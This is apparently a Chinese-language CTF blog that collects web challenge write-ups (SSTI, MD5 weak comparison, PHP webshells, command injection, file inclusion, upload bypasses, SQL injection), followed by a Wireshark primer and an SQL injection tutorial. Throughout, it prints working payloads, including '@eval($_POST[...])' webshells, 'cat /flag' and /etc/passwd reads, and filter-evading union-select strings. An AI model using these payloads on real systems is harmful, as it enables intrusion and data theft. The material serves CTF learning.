http://f7d68f86-5e2c-4fbd-aba2-67734794e580.node5.buuoj.cn:81/phpmyadmin/?target=db_sql.php%253f/../../../../../../flag
最终得到：flag{c3903d66-8939-4f91-a849-ae5ed1c106a1}
 3.[CISCN2019 华东南赛区]Web11
本题看看源代码很清楚的告诉我们是SSTI中的smarty模版，于是尝试使用phpinfo环境变量里并无flag，于是去网上查找相关资料
前置知识:
 (1.{php}标签
Smarty已经废弃{php}标签，强烈建议不要使用。在Smarty 3.1，{php}仅在SmartyBC中可用。
 (2.{literal}标签
{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表，避免因为Smarty的定界符而错被解析。
PHP5中可用
1

 (3.getStreamVariable方法
这个方法可以读取一个文件并返回其内容，可以用self来获取Smarty对象并调用这个方法
新版本smarty已将该静态方法删除
1
payload：{self::getStreamVariable("file:///etc/passwd")}
 (4.{if}标签
Smarty的{if}条件判断和PHP的if 非常相似，只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用，如*||,or,&&*,and,is_array(), 等等
1
{if phpinfo()}{/if}
根据页面提示，我们添加xff头：
1
X-Forwarded-For: {if readfile('/flag')}{/if}
得到flag
 三.NSSCTF
 1.easy_md5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

 highlight_file(__FILE__);
 include 'flag2.php';

if (isset($_GET['name']) && isset($_POST['password'])){
  $name = $_GET['name'];
  $password = $_POST['password'];
  if ($name != $password && md5($name) == md5($password)){
    echo $flag;
  }
  else {
    echo "wrong!";
  }

}
else {
  echo 'wrong!';
}
?>
本题是利用了MD5哈希比较漏洞，条件要求：
name (GET参数) 和 password (POST参数) 值不相等
但它们的 MD5哈希值相等（使用==弱类型比较）
攻击原理：
当比较0e开头的字符串时，php会将其视为科学计数法的0；
eg.0e123456 == 0e987654 会被视为 0 == 0，返回true;
因此，此题便看明白了，我们只需要分别搞一个0e开头的字符串给name和password参数，便可；
于是我们用burpsuite抓包(用hackbar更快点)，改成这样就能拿到flag；
1
2
3
4
5
6
7
8
9
10
11
12
POST /?name=QNKCDZO HTTP/1.1
Host: node7.anna.nssctf.cn:23851
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 18
Content-Type: application/x-www-form-urlencoded

password=240610708
当然，本题还可以使用数组绕过。
原理:MD5不能加密数组，传入数组会报错，但是会继续执行返回结果null，==为弱类型比较，判断为相等，因此打开hackbar输入
/?name[]=123  password[]=456 也可以得到flag。
 2.caidao
本题一打开来只有一张图片，图片上写的是一句话木马的一部分，表明服务器可以执行通过POST请求传入的参数为wllm的命令。
1
@eval($_POST['wllm']);
我们使用Hackbar试试看，
1
wllm=system('ls');
查看源代码后发现有index.php;
因此我们看看根目录有什么：
1
wllm=system('ls /');
看到目录里有flag，我们直接
1
wllm=system('cat /flag');
就拿到flag了；
本来想试试用蚁剑来做的，发现好像更复杂了doge。
 3.babyrce
打开题目，一个php脚本，第一个脚本非常简单，添加新的要求的请求头并发送后，给我们一个文件rasalghul.php,
访问后看到另一个脚本，
1
2
3
4
5
6
7
8
9
10
11
12
13
?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
 $ip=$_GET['url'];
 if(preg_match("/ /", $ip)){
   die('nonono');
 }
 $a = shell_exec($ip);
 echo $a;
}
?>
简单分析一下：
error_reporting(0);关闭错误报告，表明程序不会有任何错误提示；
highlight_file(FILE);输出当前脚本文件内容，突出显示语法结构。__FILE__作为魔法常量，表示脚本的绝对路径；
preg_match(“/ /”, $ip)；检查  $$ip变量值中是否存在空格，如果存在停止运行并输出nonono。
shell_exec($ip);函数通过shell命令执行变量并返回输出，可能会引发严重的安全问题；
echo $a;输出shell的结果。
对此，我们先试试看
1
http://node5.anna.nssctf.cn:22593/rasalghul.php?url=ls
发现有用，于是我们尝试空格绕过。$IFS
1
http://node5.anna.nssctf.cn:22593/rasalghul.php?url=ls$IFS/
回显得到flag文件，直接使用cat命令查看得到：
1
http://node5.anna.nssctf.cn:22593/rasalghul.php?url=cat$IFS/flllllaaaaaaggggggg
flag:NSSCTF{90c1df99-8b8c-4068-b04a-521fffaeed8c}
 4.webftp
非常简单，只需要/phpinfo.php就能拿到flag。
 5.easypayload1.0(比2.0难其实)
和之前一样，jpg文件上传一句话木马，然后改后缀为php，蚁剑连接在www目录下找到flag：WLLMCTF{I_d0nt_w4nna_wak3up}；
但是很高兴这是假的，思索良久后，我们打开burpsuite使用post传参访问文件地址，传值为：
1
123=phpinfo();
其中123是一句话木马里的语句。
然后就按照经验从environment中找到flag：NSSCTF{484ee820-ec64-470a-9724-b258fffee540}
 6.[LitCTF 2023]Ping
又是一道ping的题目
打开容器后，我们也是按照经验先试着ping一下127.0.0.1，发现能回显，于是试试
1
127.0.0.1;ls
发现弹出提示禁止ip之外的输入，这是JS的禁用，于是我们可以通过控制台写代码或者直接F12-F1禁用浏览器JS，然后就可以直接输入了，
返回index.php 和upload；
我们试试查看一下根目录:
1
127.0.0.1;ls /
发现有flag，直接cat：
1
127.0.0.1;cat /flag
得到flag。
 7.[SWPUCTF 2021 新生赛]easyupload3.0
这题我们一打开先上手尝试一下，发现不能上传php文件，看到网站提示我们和其他文件一起上传，查询资料后发现可以用.htaccess文件。
htaccess文件负责相关目录下的网页配置，可以帮助我们实现：网页301重定向、自定义404错误页面，改变文件扩展名、允许/阻止特定的用户或者目录的访问，禁止目录列表，配置默认文档等功能。
1
2
3
4
5


  SetHandler application/x-httpd-php


以上就是一个.htaccess文件，这里作用是将jpg按php文件读取解析。
注意：htaccess文件只能命名为.htaccess，前面不能有前缀！！！
这里简单解释一下：
.htaccess是Apache服务器的硬性规定：Apache的配置文件中有一个指令叫 AccessFileName，它定义了分布式配置文件的名称。在绝大多数服务器的默认配置中，这个指令的值就是：
1
AccessFileName .htaccess
这行代码明确告诉Apache：“请去每个目录下寻找一个叫 .htaccess 的文件，并读取其中的配置。” 因此，如果你把它改成其他名字，比如 my.htaccess，Apache在默认情况下就不会认出它，文件也就不会生效了。
接着再和之前一样搞一个一句话木马（轻车熟路了吧）
然后先上传.htaccess,再上传一句话木马，访问文件地址回显成功，说明一句话木马上传成功！
这里我们可以和之前一样用蚁剑连接，在flag.php下找到flag，也可以通过hackbar  POST
1
123=phpinfo();
注：'123’是一句话木马的值。
在Environment中找到flag：
NSSCTF{667ccf7a-b317-4440-a5df-5edfe8567831}
 8.[鹏城杯 2022]简单包含
本题的主要考点是php伪协议、文件包含、WAF绕过。
题目如下：
1
2
3
4

highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;
看到这里，我们直接用hackbar进行POST传参flag=/var/www/html/flag.php,发现回显waf，
于是我们试试php伪协议，
1
flag=php://filter/read=convert.base64-encode/resource=flag.php
还是回显waf；
于是我们试试看看能否看看页面的
1
flag=php://filter/read=convert.base64-encode/resource=index.php
果然返回一串base64编码的数据，解码得到：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15


$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>


<?php 
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;



对于这一句：
1
2
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
我们发现请求体长度小于800会触发waf，于是我们构造payload：
1
6=6666666666.........(以下省略800个6)&flag=php://filter/read=convert.base64-encode/resource=flag.php
成功得到PD9waHAgPSdOU1NDVEZ7ZGM2MzNlYzQtOTk2Yi00MzIwLTljYjctNDM0YTc2NWZlMGUyfSc7Cg==
解码得flag：NSSCTF{dc633ec4-996b-4320-9cb7-434a765fe0e2}
 9.[SWPUCTF 2021 新生赛]sql
思路
使用常规字符型的联合注入起手
通过弹窗，在每个语句中找到对应的过滤内容，替换过滤内容
发现显示只有开头，使用函数获取每一段flag
writeup
一开始在做闭合中发现--+被过滤，因为+表示空格；
使用#后发现无回显，考虑用url编码%23.
发现有回显位，因此用联合注入；
使用order by查询字段数时发现了空格过滤 => 使用/**/替换绕过；
联合注入查看回显，发现是2,3；
然后爆库：
1
-1'union/**/select/**1,database(),3%23
开始爆破表格名，使用where table_name=""时发现了 = 过滤 => 使用like替换，即：
1
where/**/table_name/**/like LFLF_flag
同时发现and被过滤，直接限制表名，不要限制数据库即可；
得到字段后直接查字段，发现查询到的字数出现限制；
1
?wllm=-1'/**/union/**/select/**/1,2,flag/**/from/**/LFLF_flag
尝试使用right()函数，发现被过滤。
尝试使用mid()函数：
1
2
3
4
5
?wllm=-1'union/**/select/**/1,mid(flag,1,20),3/**/from/**/LTLT_flag%23

?wllm=-1'union/**/select/**/1,mid(flag,21,20),3/**/from/**/LTLT_flag%23

?wllm=-1'union/**/select/**/1,mid(flag,41,20),3/**/from/**/LTLT_flag%23
从而得到flag。
 10.[鹤城杯 2021]EasyP
这题主要考察正则绕过。
以下是源代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?> 
这里解释一下里面新的东西：
1
2
3
4
$_SERVER[...]：是一个包含了诸如头信息（header）、路径（path）、以及脚本位置（script locations）等信息的数组。根据中括号内传入的参数不同，返回不同的信息，下面是题目涉及的两个参数：
'PHP_SELF'：返回当前执行脚本的文件名。例如：在地址为http://example.com/foo/bar.php的脚本中使用 $_SERVER['PHP_SELF'] 将得到 /foo/bar.php
'REQUEST_URI'：取得当前URL的路径地址，感觉跟上面那个没啥区别
basename()：返回路径中的文件名部分
第一个if，当POST传入的参数$guest等于$secret时返回flag，但这里不知道$secret；
第二个if，检查当前执行脚本的文件名，从后往前若找到utils.php则过滤掉；
第三个if，检查当前URL的路径地址，若出现show_source则过滤掉；
第四个if，检查show_source是否有定义。
先考虑第二个if语句，我们在utils.php后面加一个非ascii字符即可（从后往前找，遇到非ascii字符就停）
1
2
3
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}
在正则表达式中，$ 表示字符串的结尾。所以从后往前找。
再考虑第三个语句：
这里我们要知道一个规则：GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
所以这里我们传入show[source先通过第三个if，在第四个if中GET传参的时候会转换回_
因此得到payload：
1
/index.php/utils.php/原神牛不牛逼?show[source=1
得到flag：NSSCTF{c019aad9-b2c2-40b4-8609-af0985d138bc}
 11.[NISACTF 2022]bingdundun~
又是一道upload题目~
这题没有什么很难的，就是一句话木马改成zip文件上传，主要问题就在最后访问的URL这里:
1
http://node5.anna.nssctf.cn:25522/?bingdundun=phar://aefd03aa3501ef85fca59ffb7394f8dd.zip/upload
upload这里是一句话木马的文件名，不是连接密码，然后再用蚁剑连接即可。
ps:但是我不明白为什么php文件通过burpsuite改后缀为zip，蚁剑返回数据为空QAQ
 12.[GKCTF 2021]easycms
豪豪豪题
一打开来我们看到了一个蝉知企业门户平台，看来似乎要我们找到flag，于是我们考虑用御剑扫描工具(也可以用dereseaech)，扫描出
1
2
3
http://node4.anna.nssctf.cn:20408/data/
http://node4.anna.nssctf.cn:20408/admin.php
http://node4.anna.nssctf.cn:20408/index.php
三个响应200的网址，依据经验，admin页面藏有flag的概率最大。
点进去果然要输入密码，我们采用爆破，得到密码为12345，嘿嘿弱密钥也可以直接猜就是了QAQ
进去以后我们一番搜寻，发现里面有自定义主题，我们试着导出主题，然后复制文件下载地址看看(ps:当时解题到一半被拉去吃饭了，回来只能重开一个容器QAQ)
1
http://node4.anna.nssctf.cn:27312/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMWIuemlw 
把后面base64解码看看，发现是文件的绝对地址/var/www/html/system/tmp/theme/default/1b.zip；
于是我们把后面改为/flag,用base64编码得到
1
http://node4.anna.nssctf.cn:27312/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=
得到flag.zip;发现直接打不开，用010editor打开
最终得到flag:NSSCTF{aeb3f2be-0e96-4cf5-bea1-ffdbdf607c62}
弯弯绕绕终于解完，看了看网上的writeup，发现还有神奇做法，相当nb：
01.我们进入admin自定义主题页面，进入自定义，我们看到里面的编辑项目存在“php” ，于是我们可以试着在上面写入简单木马
1

但是却返回需要验证管理员权限；不知道为什么，别人在这里就可以直接浏览页面得到flag了emmmmmm
但是返回的信息也有用，我们直接利用名称进行目录穿越
…/…/…/…/…/…/system/tmp/xdwe；
保存后页面直接显示flag！！！
 13.[NISACTF 2022]level-up
前面几关都比较简单，不细说。
这里主要讲最后一层：
看了大佬的WP才知道这一关用的是create_function
这里简单说一下：
create_function(string a, string b)会创造一个匿名函数，传入的两个参数均为字符串
其中，字符串a中表示函数需要传入的参数，字符串b表示函数中的执行语句
例如，create_function(‘$a’, ‘echo(“hello”);’)，我们需要把它看作：
1
2
3
4
function niming($a)
{
echo("hello");
}
因为create_function自带eval命令执行，因此我们需要传入$a为\create_function；
而对于参数$b，我们需要让它执行system()函数，用于回显flag，因此传入$b为}system('cat /flag');//
1
/55_5_55.php?a=\create_function&b=}system('cat /flag');//
为什么这个payload能够生效呢？
我们知道create_function会创造匿名函数，而payload的}会将该函数闭合，然后执行system(‘cat /flag’);
最后//把最后的}注释掉，至此已成艺术()
\因为参数a做正则，从后往前。
 14.[MoeCTF 2022]ezphp
本题考察的内容是变量覆盖
源代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


highlight_file('source.txt');
echo "

";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
  exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
  exit($getout);
}

foreach ($_POST as $key => $value) {
  $$key = $value;
}

foreach ($_GET as $key => $value) {
  $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>
第一层校验（必须传 flag 参数）
1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($giveme);
}
必须传 flag 参数（GET 或 POST）
第二层校验（不能等于 “flag”）
1
2
3
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($getout);
}
不能 flag=flag
关键漏洞点 （变量变量）
POST 变量覆盖
1
2
3
foreach ($_POST as $key => $value) {
    $$key = $value;
}
👉 如果你 POST：
1
flag=aaa
等价于：
1
$flag = 'aaa';
2.GET 变量变量 + 二次引用（致命点）
1
2
3
foreach ($_GET as $key => $value) {
    $$key = $$value;
}
如果你 GET：
1
?flag=giveme
那么执行的是：
1
$flag = $giveme;
而 $giveme 的值是：
1
'can can need flag!'
最终输出分析
1
echo 'the flag is : ' . $flag;
所以访问：
1
?flag=giveme
实际输出是：
1
the flag is : can can need flag!
最终payload：
两种
1
2
3
4
(1)GET ?a=flag&flag=a

(2)POST：  flag=a
    GET:   _GET['a']=flag
得到flag：NSSCTF{3ff06aab-bca7-4d7c-997b-38634c540d62}
 15.[FSCTF 2023]细狗2.0
本题考察RCE,
我们开始时尝试cat失败后，试着使用;ls成功定向到另一个页面，这时我们为了防止cat过滤直接使用more函数，同时发现存在空格过滤，于是
构造payload如下：
1
http://node4.anna.nssctf.cn:29987/moyu.php?hongzh0=%3Bmore${IFS}/f*
得到flag：NSSCTF{9516ee02-6f9b-4e86-8b5c-171fea603cc4}
 16.[NISACTF 2022]babyupload
神奇题目！！！
一打开环境，正常上传，发现连图片都上传不了QAQ，于是右键查看源码，发现可以访问/source;
访问后得到app.py文件，代码如下：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """



    Select image to upload:
    
    



"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
也是不懂啊，去找了大佬的wp，然后懂了
os.path.join()函数存在绝对路径拼接漏洞
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径，而之后的每个参数被当作组件拼接到基础路径之后。
然而，这个函数有一个少有人知的特性，如果拼接的某个路径以 / 开头，那么包括基础路径在内的所有前缀路径都将被删除，该路径将视为绝对路径
当上传的文件名为 /flag ，上传后通过uuid访问文件后，查询到的文件名是 /flag ，那么进行路径拼接时，uploads/ 将被删除，读取到的就是根目录下的 flag 文件。
于是用bp抓包改名得到flag。
 17.[NISACTF 2022]middlerce
题目：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

include "check.php";
if (isset($_REQUEST['letter'])){
  $txw4ever = $_REQUEST['letter'];
  if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
    die("再加把油喔");
  }
  else{
    $command = json_decode($txw4ever,true)['cmd'];
    checkdata($command);
    @eval($command);
  }
}
else{
  highlight_file(__FILE__);
}
?>
攻击代码：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import json

url = "http://node4.anna.nssctf.cn:20056/"

payload_dict = {
    "cmd": "?>",
    "junk": "-" * 1000000
}

payload_str = json.dumps(payload_dict)

data = {
    'letter': payload_str
}

try:
    print("[+] Sending payload with '-' as padding...")
    response = requests.post(url, data=data)
    print("[+] Response:")
    print(response.text)
except Exception as e:
    print(f"[-] Error: {e}")
得到flag：NSSCTF{8170e947-d7b7-4e64-8487-7a0e953dac1a}
 18.[SWPUCTF 2023 秋季新生赛]RCE-PLUS
题目：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
  if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
    return($cmd);
  }
  else{
    die("i hate this");   
   }
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
明显存在过滤flag，但是没过滤cat等函数，于是我们采用文件写入的方式构造payload如下：
1
http://node4.anna.nssctf.cn:20156/?cmd=cat /fla* > a.txt
将cat到的flag写入a.txt文件里，然后访问
1
http://node4.anna.nssctf.cn:20156/a.txt
得到flag：NSSCTF{2c4a07e6-f47c-47b4-ba86-94c57de12c48}
 19.[HNCTF 2022 WEEK2]Canyource
本题主要考察了无参RCE
1
2
3
4
5
6
7
8
9
10

highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {  
  eval($_GET['code']);}
else
  die('nonono');}
else
  echo('please input code');
?>
1
/[^\W]+\((?R)?\)/
\W 匹配非字母字符
[  ] 不匹配内部的字符
[^\W] 匹配字母（负负得正）
[^\W]+ 匹配一个至多个字母
\((?R)?\) 匹配括号，括号中允许有这个当前这个表达式（递归）
这题的正则表达式就是只允许我们使用函数，不允许我们为函数传递参数
核心：当无法直接传递参数时，利用PHP函数从当前环境（$_GET、请求头、系统配置）中动态获取数据，构造出一条纯函数调用链，最终实现任意代码执行或文件读取。
构造payload：
1
?code=eval(end(current(get_defined_vars())));&cmd=system('more f*');
得到flag：NSSCTF{61568bf9-4236-4307-b95a-b8ac56a6278c}


流量分析
2025-12-30T15:22:26.000Z
 流量分析
 前言
流量分析在misc赛题中常常出现，个人认为有点意思，遂写以下个人总结()
eg.   buuctf ——wireshark,被嗅探的流量(比较基础)
        2025 RCTF ——Shadows of Asgard
由于个人水平有限，属于新手，出现错误请见谅()后续会不断完善~~(如果记得的话)~~
 一.定义：
流量分析（Traffic Analysis）是指对网络流量数据进行分析和解释，以获得有关网络中通信的信息和情报。这种技术可以用于网络安全、网络管理和网络优化等领域。
网络流量包含了许多有关网络通信的细节信息，如源IP地址、目标IP地址、端口号、协议类型、数据包大小、传输速率等等。通过对这些信息进行分析和解释，可以获得对网络通信的深入理解，并发现潜在的问题和威胁。需要了解网络协议、数据包分析、安全攻防技术等相关知识。此外，还需要使用专业的流量分析工具，如Wireshark、tcpdump、Snort等等，以捕获和分析网络流量数据。在网络安全领域，流量分析被广泛应用于入侵检测、网络监控、漏洞分析等方面。例如，通过对网络流量进行分析和解释，可以发现恶意软件、网络钓鱼攻击、DDoS攻击等各种网络威胁，并采取相应的防御措施。
在这里我用wireshark进行说明~~(骗你的，只用过wireshark)~~
 二.wireshark
首先我们要先理解wireshark的基本作用和使用方法：
1.wireshark提供了三个主要面板，包括：
抓包面板（Capture Panel）：抓包面板用于捕获网络数据包，并显示已经捕获的数据包列表。在该面板中，可以选择捕获的网络接口、设置捕获过滤器、启动和停止抓包等操作。此外，还可以通过右键单击数据包，查看详细信息、导出数据包、跟踪TCP流等。
数据包列表面板（Packet List Panel）：数据包列表面板显示已经捕获的数据包列表，其中每个数据包占据一行，并列出了有关该数据包的一些关键信息，如时间戳、源IP地址、目标IP地址、协议类型、数据包长度等。此外，还可以通过对列表进行排序、筛选、搜索等操作，方便用户查找和分析数据包。
数据包详情面板（Packet Detail Panel）：数据包详情面板显示选定数据包的详细信息，包括各个协议层的数据结构和字段值。用户可以通过展开不同的节点，查看不同的协议头和数据负载，帮助用户深入理解数据包的内容和意义。
 常用语法
（在搜索框输入http即可看http的流量）
1
2
3
4
5
tcp：显示所有TCP协议的数据包
udp：显示所有UDP协议的数据包
http：显示所有HTTP协议的数据包
dns：显示所有DNS协议的数据包
icmp：显示所有ICMP协议的数据包
ip地址筛选：
1
2
3
ip.addr == 192.168.0.1：显示与指定IP地址相关的所有数据包
ip.src == 192.168.0.1 ：显示源IP地址为指定地址的数据包
ip.dst == 192.168.0.2：显示目标IP地址为指定地址的数据包
端口筛选：
1
2
tcp.port ==  80：显示使用指定TCP端口的数据包
udp.port == 53：显示使用指定UDP端口的数据包
比较运算符：
1
2
3
==：等于，例如：http.request.method == "POST"   (重要)
!=：不等于，例如：ip.addr != 192.168.0.1
<、>：小于、大于，例如：frame.len > 100 或 frame.len < 50，可以指定过滤数据包长度
数据包内容过滤规则:
1
http.request.method == "GET" 或 tcp.flags.syn == 1，可以通过指定数据包内容，只保留符合条件的数据包。
复杂筛选：
eg.
1
ip.src == 192.168.0.1 and tcp.port == 80
这个表达式的作用是：选择源IP地址为192.168.0.1并且目标TCP端口为80的网络流量。
1
ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==POST 
这个表达式的作用是：选择源IP地址为192.168.1.8或202.1.1.2，并且HTTP请求方法为POST的网络流量。
 三.基本应用
由于个人也没怎么用过wireshark，所以这里只介绍一部分最简单的应用事例：
eg1.buuctf-misc-easycap
这里是最简单的应用了，页面多为tcp流便可直接跟踪tcp流获得flag。
如下图：
eg2.2025 RCTF ——Shadows of Asgard


SQL注入基础
2025-12-29T07:00:34.000Z
 SQL注入
 一.前言
SQL注入（SQL Injection）是一种常见的Web安全漏洞，形成的主要原因是web应用程序在接收相关数据参数时未做好过滤，将其直接带入到数据库中查询，导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了？结构化查询语言（Structured Query Language，缩写：SQL），是一种关系型数据库查询的标准编程语言，用于存取数据以及查询、更新、删除和管理关系型数据库（即SQL是一种数据库查询语言）
注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询，导致可以拼接执行构造的SQL语句
SQL注入漏洞的本质为数据库层面的RCE
 二.对于SQL注入漏洞的挖掘
由于现代浏览器比较完善，几乎不可能存在sql注入点（），因此以下所述均为做题中的体会（纯入门心得，有点问题请见谅doge）
 1.可能的注入点
1). 搜索框，登录界面等，这些地方肯定是与数据库有数据交互的，所以我们可以优先观察存在传值或者查询的地方。
eg.buuctf 极客大挑战2019 EasySQL
2). 当没有明显搜索框等明显交互位置时，并不代表不存在sql漏洞，这时可以通过url进行传参。
eg.buuctf 极客大挑战2019 loveSQL &&Knife(后者虽然通常使用蚁剑来秒杀但是也可以用HackBar当成SQL做同样很快)
 2.漏洞检测
1.get型
进行url编码
如果是在burp中测试payload需要先进行url编码，浏览器中则不需要;
不进行编码的话，也可以用+代替空格，#代替–+ 。 %23代表#，也是注释符。
2.post型
如果是post型的话，我们可以用上面的方法进行编码，或者使用+代替空格，也可以不使用，直接像在浏览器中探测一样。
 三.常见的注入手法
首先我们应该判断知道其注入类型，SQL注入按照注入点类型分类可分为三种：
 1.数字型注入
SQL中的语句格式：select * from users where id =x
    判断方法：使用 1 and 1=1  ，1 and 1=2 来判断    当输入：and 1=1 时页面显示正常                   select * from users where id =x and 1=1        输入：and 1=2 时页面显示异常                   select * from users where id =x and 1=2       说明是数字型注入
 2.字符型注入
SQL中的语句格式：select * from users where id =‘x’
    判断方法：使用 1' and '1'='1  ，1' and '1'='2 来判断    当输入：1’ and ‘1’='1 时页面显示正常                   select * from users where id ='x' and '1'='1'       输入：1’ and ‘1’='2 时页面显示异常                  select * from users where id ='x' and '1'='2'      说明是字符型注入
 3.搜索型注入
基于搜索框的注入
    SQL中的语句格式：select * from database.table where users like '%要查询的关键字%'   判断方法：     某个商品名称%' and 1=1 and '%'='  （这个语句的功能就相当于普通SQL注入的 and 1=1）
select * from database.table where users like ‘%某个商品名称%’ and 1=1 and ‘%’=‘%’
    页面显示正常     某个商品名称%' and 1=2 and '%'='  （这个语句的功能就相当于普通SQL注入的 and 1=2）
select * from database.table where users like ‘%某个商品名称%’ and 1=2 and ‘%’=‘%’
    页面显示异常    根据上面的返回情况来判断是否存在搜索型注入
 四.联合注入
联合注入是一种非常常用的注入方式，union select 开头的语句属于联合注入，联合注入的必要条件就是页面必须要有回显位，否则就应该考虑使用盲注（后面再展开说明）
这里我将总结部分比较常用的SQL注入语句：
首先我们先明确SQL注入的基本流程，在基础的SQL操作中通常有这样的尝试顺序：
1.先判断SQL注入类型；
2.判断闭合方式，查询字段，判断回显位；
3.爆库，爆表，爆列，爆内容。
另外，页面可能存在过滤，有时要综合考虑各种绕过方法，例如双写绕过，编码绕过等。
1).查找注入点
语句：
1
1' or 1 = 1#  
#可以用–+替换，有些情境#不能起作用QAQ
(这条万能语句常用于登录框之类的注入)
作用：是爆出表中的所有字段
举例：验证用户名和密码的语句
我们在这里做出简单的解释：
页面原sql
1
$sql="select * from users where username='$name' and password='$pwd'";
在进行上述语句后变为
1
$sql="select * from users where username='1' or 1 = 1#' and password='$pwd'";
#是注释符号，后面的内容被注释，or为或，两边一边为真就是真，由于右边1=1为真，故为真；
因此上述语句就等价于：
1
select * from users where username='1' or 1 = 1
2).查询字段数
语句：
1
1' order by 数值--+
3).判断回显位
语句：
1
-1’ union select 1,2,3--+
在上一步的查询字段数后我们知道了字段数，接着就根据字段数来判断，若之前找到的字段数为二，事例语句就应该改为
union select 1,2–+
4).爆破数据库名
关键：database()
    根据回显位，在回显位输入所要内容对应的关键字。（例如回显位是 2，下面为事例）
语句：
1
-1' union select 1,database(),3--+   
5).爆破表格名
关键：
group_concat(table_name) from information_schema.tables where table_schema=database()
语句：
1
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
简单注释一下：
1：第一个占位列，保持列数匹配
group_concat(table_name)：核心攻击代码
group_concat()：MySQL函数，将多行合并为一行
table_name：从information_schema.tables获取表名
